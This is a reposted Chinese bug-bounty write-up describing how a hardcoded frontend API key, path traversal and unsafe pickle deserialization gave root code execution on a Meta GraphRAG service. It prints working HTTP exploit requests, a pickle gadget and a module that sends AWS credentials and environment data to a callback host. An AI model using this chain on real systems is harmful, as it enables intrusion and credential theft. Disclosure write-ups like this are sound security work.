通过一段硬编码的API key,拿下Meta一个服务的root

导语:zonduu 投稿的 Meta 2026 年 5 月台湾 live hacking event 实战记录。从一段前端 JavaScript 里的硬编码 API key 起手,串起两次路径穿越与一次不安全的 pickle 反序列化,最终在一台 GraphRAG 服务上拿到 root 代码执行;再用 root 身份拉出 AWS 容器角色凭据、3,287 段真实会议转录、两个 GCP 服务账号(含一个叫 sso-admin 的)以及 17 个企业级密钥。

Meta 服务根级 RCE 与云端接管

这是我在 Meta 2026 年 5 月台湾实时黑客活动中发现的漏洞。受邀参加之后,我把一段硬编码的 API key、两次路径穿越和一个不安全的 pickle 加载串起来,在 Meta 一台服务上拿到 root 代码执行,再从容器里拉出 AWS 凭据、两个 GCP 服务账号,外加账号里的所有密钥。结尾我会如实讲讲这事后来怎么收的——赏金和我预期的不太一样。

先说一句:本文里出现的所有凭据都已经截断或打码,而且全部早就轮换、撤销了。没有一个是活的。

目标

资产是 Meta AI 会议与助手栈里的一个 GraphRAG 服务,部署在 REDACTED.aws.metafb.cloud。跑在 AWS ECS Fargate 上(ECS 是 AWS 的容器编排服务,Fargate 是它的无服务器模式——不用自己管 EC2 实例)。它所在的通配域名是这次活动的特殊测试范围,那种范围在常规赏金之上还能叠 20% 加成。从主机名看,这还是个开发环境。

一段空窗,然后 JavaScript 里冒出一个 key

活动刚开始的大段时间我们都在做最基础的活:爬目标、扫子域名、能摸到的接口都走一遍、各种常规 payload 都试了一遍。很长一段时间都很安静。低危里容易拿的洞全都不在,开始有点那种”这台目标就是不吐东西”的感觉。

后来放慢节奏重新过了一遍前端,结果在一个 Next.js chunk(Next.js 自动按路由拆出来的 JS 包)里翻出一段直接硬编码在前端的 API key。

GET /_next/static/chunks/5314-8d2abfc6a63fb291.js HTTP/1.1
Host: REDACTED.aws.metafb.cloud

这个 key 在前端 bundle 里就是一个写死的 fallback 默认值,谁读这段 JavaScript 都能拿到:

env.FAST_GRAPHRAG_API_KEY || "apprunner_fast_graphrag_fgr_k3y_8x4n9p2q..."

它是 GraphRAG 接口的入场券,应用里那些有意思的接口现在都摸得到了。单看的话,前端 key 泄漏一般定低危或中危。真正有意思的,是这些接口实际能让我干什么。

这个 key 解锁了什么

这把 key 用来鉴权整套 GraphRAG API,而且这个 API 完全不设防。第一件事自然是看它后面藏着哪些数据,所以让它把全部数据列了出来:

GET /graphene/graph/available-datasets HTTP/1.1
Host: REDACTED.aws.metafb.cloud
X-API-Key: apprunner_fast_graphrag_fgr_k3y_8x4n9p2q...
{
  "status": "success",
  "cloud_datasets": [
    {"name": "ai_calling_e17be6e0-d4fe-4fe9-...", "last_updated": "1772834277.58"},
    {"name": "ai_calling_5ed8239d-4033-4f27-...", "last_updated": "..."},
    {"... 3,285 more"
  ]
}

这是这个服务处理过的每一场 AI 通话会话。共 3,287 场,回溯到一年多以前,从 2025 年 3 月一直排到 2026 年 4 月。也不是 mock 数据。拿 graph 接口把其中一场读出来,返回的就是某个用户会话的真实内容——这次是某人在用 AI 助手规划一次个人滑雪旅行:

POST /graphene/graph/get_graph HTTP/1.1
Host: REDACTED.aws.metafb.cloud
X-API-Key: apprunner_fast_graphrag_fgr_k3y_8x4n9p2q...
Content-Type: application/json

{"dataset_name": "ai_calling_e17be6e0-d4fe-4fe9-..."}
{
  "nodes": [
    {"name": "MORGAN", "description": "AI assistant helping with the planning"},
    {"name": "SKI TRIP", "type": "TRAVEL", "description": "A planned trip for skiing"},
    {"name": "PALISADES", "type": "LOCATION", "description": "A ski resort destination"},
    {"name": "DEAL SEARCH", "type": "PLANNING_TOOL", "description": "Searching for good prices"}
  ],
  "edges": [
    {"source": "MORGAN", "target": "SKI TRIP", "description": "Morgan helps plan the ski trip"}
  ]
}

而且接口不只读。同一个 key 还能把新数据集灌进知识库,也能直接把 S3 和 DynamoDB 里的现有数据集删掉。一段藏在 script tag 里的字符串,就能读写、销毁几千场真实会议会话。

光这一点已经够交一个像样的漏洞了。但同套 API 里有一个接口 load_datasources,它对接受的文件做了件更有意思的事。

文件写 + 路径穿越

这个接口接收一个 project_path 和一组上传文件,会自动建出 {project_path}/input/ 目录再把文件存进去。所以在我已经能读写数据集的基础上,这里又多了一手裸的文件写,这永远值得多看两眼。

真正的问题在 filename 字段——服务端从来没做过净化。一个像 ../../something.py 这种文件名就能逃出 input/ 目录往上爬,把一次普通上传变成任意文件写。要是我把 project_path 指到安装好的包目录,就能直接把文件写到 Python 的 site-packages(Python 解释器自动扫描的第三方包目录)里,这个目录在模块搜索路径上。这两个能力凑在一起就是杀招:一次上传 + 一次穿越,想把文件落到哪儿就落到哪儿。

为了验证这一点,我用一个穿越文件名上传了一个无害的标记文件,并把 project_path 指到安装好的包目录:

POST /graphene/graph/load_datasources HTTP/1.1
Host: REDACTED.aws.metafb.cloud
X-API-Key: apprunner_fast_graphrag_fgr_k3y_8x4n9p2q...
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="project_path"

/usr/local/lib/python3.11/site-packages/fast_graphrag
------boundary
Content-Disposition: form-data; name="files"; filename="../../h1_write_probe.txt"
Content-Type: text/plain

proof of arbitrary write
------boundary--

正常上传的话,文件应该被存到 .../fast_graphrag/input/ 下面。但服务端返回的解析后的路径里,../../ 已经从 input/ 目录逃出了两层:

{
  "status": "success",
  "message": "Successfully loaded 1 files",
  "files": [{
    "filename": "../../h1_write_probe.txt",
    "path": ".../fast_graphrag/input/../../h1_write_probe.txt"
  }]
}

这条路径解析出来就是 /usr/local/lib/python3.11/site-packages/h1_write_probe.txt,落到了 site-packages 根目录,而不是本应待的 input/ 子目录。filename 字段就是一个干净的任意文件写:应用用户能写到的位置我都能写,包括 Python 的模块搜索路径。

不过,磁盘上的文件还不是代码执行。服务端还得有人去加载或运行我写的东西,这一段才是硬骨头。

把那次写入变成代码执行(硬骨头)

这一步我花的时间最多。文件写 ≠ 代码执行。一个 Python 文件就是躺在 site-packages 里一整天也没人跑它,除非服务端真的有人去 import 或加载它。从”文件能写”走到”代码真的跑起来”,中间试了几种方案、几个假设都不成立,最后才有一条真的能跑通。

跑通的那条路在 /visualize 接口上。它会调用 pickle.loads() 加载一个名为 graph_igraph_data.pklz 的文件,没有签名校验;决定从哪个目录读文件的 dataset 参数本身又支持路径穿越。pickle(Python 内置的序列化模块)的不安全反序列化是个老牌代码执行原语,因为 pickle 允许对象自己定义”被反序列化时该干什么”。

这下我手里就齐了两个必要部件。第一个是真正的 payload:用前面那次任意写写进 site-packages 的小 Python 模块。它会读进程身份、环境变量和云端凭据,然后把这些数据发出来。模块在第一次被 import 的时候就会跑:

# h1_rce_module4.py

import os, urllib.request, base64, json

CALLBACK = "http://YOUR_COLLAB.oast.online"

try:
    env = dict(os.environ)
    whoami = os.popen("id").read()
    creds_uri = env.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI", "")
    aws_creds = ""
    if creds_uri:
        aws_creds = urllib.request.urlopen(
            "http://169.254.170.2" + creds_uri, timeout=5
        ).read().decode()
    urllib.request.urlopen(
        CALLBACK + "/id?d=" + base64.b64encode(whoami.encode()).decode(), timeout=10,
    )
    urllib.request.urlopen(
        CALLBACK + "/env?d=" + base64.b64encode(json.dumps(env).encode()).decode(),
        timeout=10,
    )
    if aws_creds:
        urllib.request.urlopen(
            CALLBACK + "/awscreds?d=" + base64.b64encode(aws_creds.encode()).decode(),
            timeout=10,
        )
except Exception as e:
    urllib.request.urlopen(
        CALLBACK + "/err?e=" + base64.b64encode(str(e).encode()).decode(), timeout=5
    )

它还是走同一条 load_datasources 写进去,这次文件名是 ../../h1_rce_module4.py,让它直接落到 site-packages:

POST /graphene/graph/load_datasources HTTP/1.1
Host: REDACTED.aws.metafb.cloud
X-API-Key: apprunner_fast_graphrag_fgr_k3y_8x4n9p2q...
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="project_path"

/usr/local/lib/python3.11/site-packages/fast_graphrag
------boundary
Content-Disposition: form-data; name="files"; filename="../../h1_rce_module4.py"
Content-Type: text/plain

[module content above]
------boundary--

第二个是另一个小文件 pickle,它干的事只有一件——被加载时 import 那个模块。import 一个模块会执行它的顶层代码,因为 Python 在第一次 import 时会跑模块顶层:

import pickle, gzip

class RCE:
    def __reduce__(self):
        return (__import__, ("h1_rce_module4",))

open("graph_igraph_data.pklz", "wb").write(gzip.compress(pickle.dumps(RCE())))
# 75 bytes

这个 pickle 直接写进包目录本身(site-packages 里的 fast_graphrag 子目录),从 input/ 跳一级 ../ 就到——这正好是 /visualize 加载数据的位置:

POST /graphene/graph/load_datasources HTTP/1.1
Host: REDACTED.aws.metafb.cloud
X-API-Key: apprunner_fast_graphrag_fgr_k3y_8x4n9p2q...
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="project_path"

/usr/local/lib/python3.11/site-packages/fast_graphrag
------boundary
Content-Disposition: form-data; name="files"; filename="../graph_igraph_data.pklz"
Content-Type: application/octet-stream

[gzipped pickle bytes]
------boundary--

两个文件都到位之后,把 dataset 参数指回 site-packages 就能触发加载:

GET /visualize?dataset=../../../../../usr/local/lib/python3.11/site-packages HTTP/1.1
Host: REDACTED.aws.metafb.cloud
X-API-Key: apprunner_fast_graphrag_fgr_k3y_8x4n9p2q...

返回的是一个 500,没别的有用内容。我的代码跑完之后,服务端尝试把结果当作图渲染,渲染不动就崩了。这是这个洞的局限:它是个盲 RCE(blind RCE,看不到命令输出的远程代码执行)。响应里从不带任何命令输出,从外部根本没法判断我的代码是不是真的跑了。任何想要确认的东西、任何想要取回的东西,都得从侧信道出来。

整个过程试了好几次才搞对,有两个点特别容易绊人:

  • Python 会把 import 结果缓存在 sys.modules 里。两次 import 同名模块,第二次就什么都不做。所以这个模块每次都要换一个全新的名字(module4、module10、依次类推)。
  • ../ 的次数得数对。差一次就会落到一个不存在的路径上,得到一个干净的 404,而不是代表已触发的 500。

侧信道:证明它跑起来了,跑的是 root

因为是盲的,模块就在原地把活干完,然后把结果发回给我。它读进程身份、容器环境,再从元数据服务拿 ECS task role 凭据,每个都做 base64 编码,作为明文 HTTP GET 请求发到我控制的回调主机(我用的是 Interactsh,也就是 OAST——Out-of-Band Application Security Testing,一种靠外联请求证明漏洞触达的安全测试方法学)。没有回调就代表这次尝试失败。有回调就代表我的代码已经跑起来了,数据已经在路上。盲洞的整套外联套路一句话讲完:读不到响应,就让服务端自己跑过来找你。

它跑起来了。回调服务器上落了三个请求,来自 34.212.88.131——这是 Meta 在 AWS us-west-2 区的 ECS Fargate 段——每个请求里都把容器里的某块数据用 base64 编码塞在查询字符串里:

GET /id?d=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAo... HTTP/1.1
Host: YOUR_COLLAB.oast.online
User-Agent: Python-urllib/3.11
remote-address: 34.212.88.131

GET /env?d=eyJEQVRBU0VUX0JVQ0tFVCI6ICJnZW9yZ2VsaXZla2l0... HTTP/1.1
Host: YOUR_COLLAB.oast.online
User-Agent: Python-urllib/3.11
remote-address: 34.212.88.131

GET /awscreds?d=eyJBY2Nlc3NLZXlJZCI6ICJBU0lBWUtDWUdXN1I... HTTP/1.1
Host: YOUR_COLLAB.oast.online
User-Agent: Python-urllib/3.11
remote-address: 34.212.88.131

Python-urllib 这个 user agent 就是模块在容器里向外发请求的指纹。把第一段 base64 解出来,确认它就是以 root 身份运行的:

uid=0(root) gid=0(root) groups=0(root)
host=ip-10-0-249-248.us-west-2.compute.internal

第二段解开之后是完整的容器环境,包括容器凭据接口的路径:

{
  "DATASET_BUCKET": "georgelivekitfastgraphrag-livekitfastgraphragdatas-...",
  "HOSTNAME": "ip-10-0-249-248.us-west-2.compute.internal",
  "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI": "/v2/credentials/415696df-...",
  "AWS_EXECUTION_ENV": "AWS_ECS_FARGATE",
  "AWS_DEFAULT_REGION": "us-west-2",
  "DATASET_TABLE": "fastgraphragDatasets"
}

我的模块从 http://169.254.170.2 拼上那段相对 URI,直接把 ECS task role 凭据现拉回来——元数据服务直接给。

AWS 凭据解开了什么

光给一个盲 RCE + 一张回调截图,自动化评估那边太容易糊弄过去。所以接下来要把这把访问的实际威力坐实。盗出来的凭据在本地导出之后,能开始验证真实的访问能力,每一步都留一个无害的取证文件,不让任何环节停留在嘴上。身份查询证实它就是一个 Meta AWS 账号:

$ aws sts get-caller-identity
{
  "Account": "571415640035",
  "Arn": "arn:aws:sts::571415640035:assumed-role/GeorgeLiveKitFastGraphRag-...Siz85aztIBBM/..."
}

从这里开始爆炸半径很快扩开:

  • S3,可读可写。数据集那个 bucket 里存的是全部 3,287 场真实会议的转录和图数据。读、写都试了一遍——往里丢了一个无害的取证文件确认写权限。
  • DynamoDB,可读可写。fastgraphragDatasets 表里有 3,287 条记录,写一条取证项进去也被接受了。
  • Secrets Manager,完整读权限。账号里全部 17 个密钥都拉到了。

随手挑一段转录看看这些数据究竟是什么:

# AI Assistance Session Summary
## Overview
Brief initial greeting from AI assistant Morgan, offering help.
- Morgan introduced themselves as an "AI teammate"
- No action items were generated

那 17 个密钥

到这里,容器级别的漏洞就已经不止一台机器的事了。下面表格里的值都按惯例砍到可辨识前缀。

密钥是什么值(已打码)
fb_client_secretFacebook / Meta OAuth 客户端密钥d339105d62…
okta/client-secretOkta OAuth 客户端密钥(SSO 用)CkX9-d_Sm3m_8w8…
JWT_SECRETJWT 签名密钥(可伪造任意用户令牌)3f86cb0ce647…
OPENAI_API_KEYOpenAI 服务账号密钥sk-svcacct-lbao3chk…
LIVEKIT_API_KEYLiveKit 密钥(可加入或录制任意房间)APINyqJDF…
LIVEKIT_API_SECRETLiveKit 密钥25bthQhnBsrL…
livekit/creds第二对 LiveKit 密钥Rag_livekit / A9R4xE1v…
livekit/api-credentialsLiveKit API 密钥(主密钥的 yaml 打包)APINyqJDF… / 25bthQhnBsrL…
matrix/livekit/credentials第三对 LiveKit 密钥APIAaNRnLwqMHWL / l5jGXGQt…
gcpGCP 服务账号 sso-admin@xr-insight-experiencesprivate_key_id f9129071…
GOOGLE_APPLICATION_CREDENTIALSGCP 服务账号 vertex-ai-de-service-account@xr-insight-experiencesprivate_key_id 1baf9ea6…
MORGAN_SERVICE_KEYMorgan 内部服务密钥MG_3nB8xC1v…
MORGANA_API_KEYMorgana 内部密钥apprunner_fast_graphrag…
SPEECH_ASSISTANT_SERVICE_KEY内部语音助手密钥SA_7kX9mP2q…
QUANTIFIED_SELF_API_KEY内部服务密钥qs_secret_upload_…
SERPAPI_KEYSerpAPI 密钥3f49fd8b134e…
FAST_GRAPHRAG_API_KEYGraphRAG 应用密钥,就是前端 JS 里漏的那条apprunner_fast_graphrag_fgr_k3y…

两个 GCP 服务账号是最让我警觉的部分,因为它们把整件事从 AWS 拽进了 Google Cloud。其中一个账号名字是 sso-admin。我没去捅 Meta 的 Google Workspace,但光看这名字就该大声示警——一个能管 SSO 或 SAML 配置的服务账号,本身就是一条关键路径。我在本机激活了一个账号,打出 access token,证明这些 key 是活的:

export GOOGLE_APPLICATION_CREDENTIALS="key.json"
gcloud auth activate-service-account --key-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud auth print-access-token
# ya29.c.c0AZ4bNpbTM7c5Q1... (valid)

所以从一条前端泄漏的 key 起步,完整收获清单是:容器上的 root 代码执行 + 容器自己的 AWS 角色 + 对 3,287 段真实会议转录在 S3 和 DynamoDB 上的读写权限 + 17 个密钥,里面有活的 OAuth 客户端密钥、一个 JWT 签名密钥和两个 GCP 服务账号。

时间线

响应是真的快。从我提交第一份报告到凭据开始被撤,前后只隔了一个通宵。

时间发生了什么
4 月 19 日,下午 4:53提交报告。
4 月 19 日,下午 6:21Meta 安全团队成员做了初步评估。
4 月 19 日,晚上 10:45对方要求完整 PoC 和未经打码的原始密钥。
4 月 19 日,晚上 10:48完整 PoC 和密钥发出。
4 月 20 日,凌晨约 4:40凭据开始失效,那时候我还在写注释。开发已经在轮换了。几个小时就修完。
5 月 8 日赏金到账。

我没预料到的那一段

活动早期我就问过 Meta 的付款方式,因为我是第一次参加他们的项目,老实说觉得这是一个大头。在某些平台上,最高严重程度的漏洞就给最高赏金,那种”零交互账号接管”级别的 bug 能拿到六位数。对方的回复公平又克制:奖励按实际影响计算;研究员能从外部确认的范围之外,他们还会另做影响调查;他们在 AWS 上的历史暴露面历来很小。

最终裁定是 $500 赏金 + $25 Hacker Plus 奖金,一共 $525。

说句心里话,这个数字让我心里发堵。root 在手,AWS 容器角色在手,对 3,287 段真实会议转录的读写在手,两个 GCP 服务账号(含一个 sso-admin),17 个密钥——活的 OAuth 客户端密钥和一个 JWT 签名密钥全部在同一账号里——这些都已经被证明过,不是假设。全部加起来折算下来就是 $525。

撇开付款不谈,Meta 这次活动本身是一段很棒的体验。我借着这个机会了解了日本和台湾,沿路认识了很多人,这部分给我什么都换不走。

行。这篇就写到这。下一篇在 Twitter 见。


原文出处:https://zonduu.me/posts/meta-graphrag-rce/

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容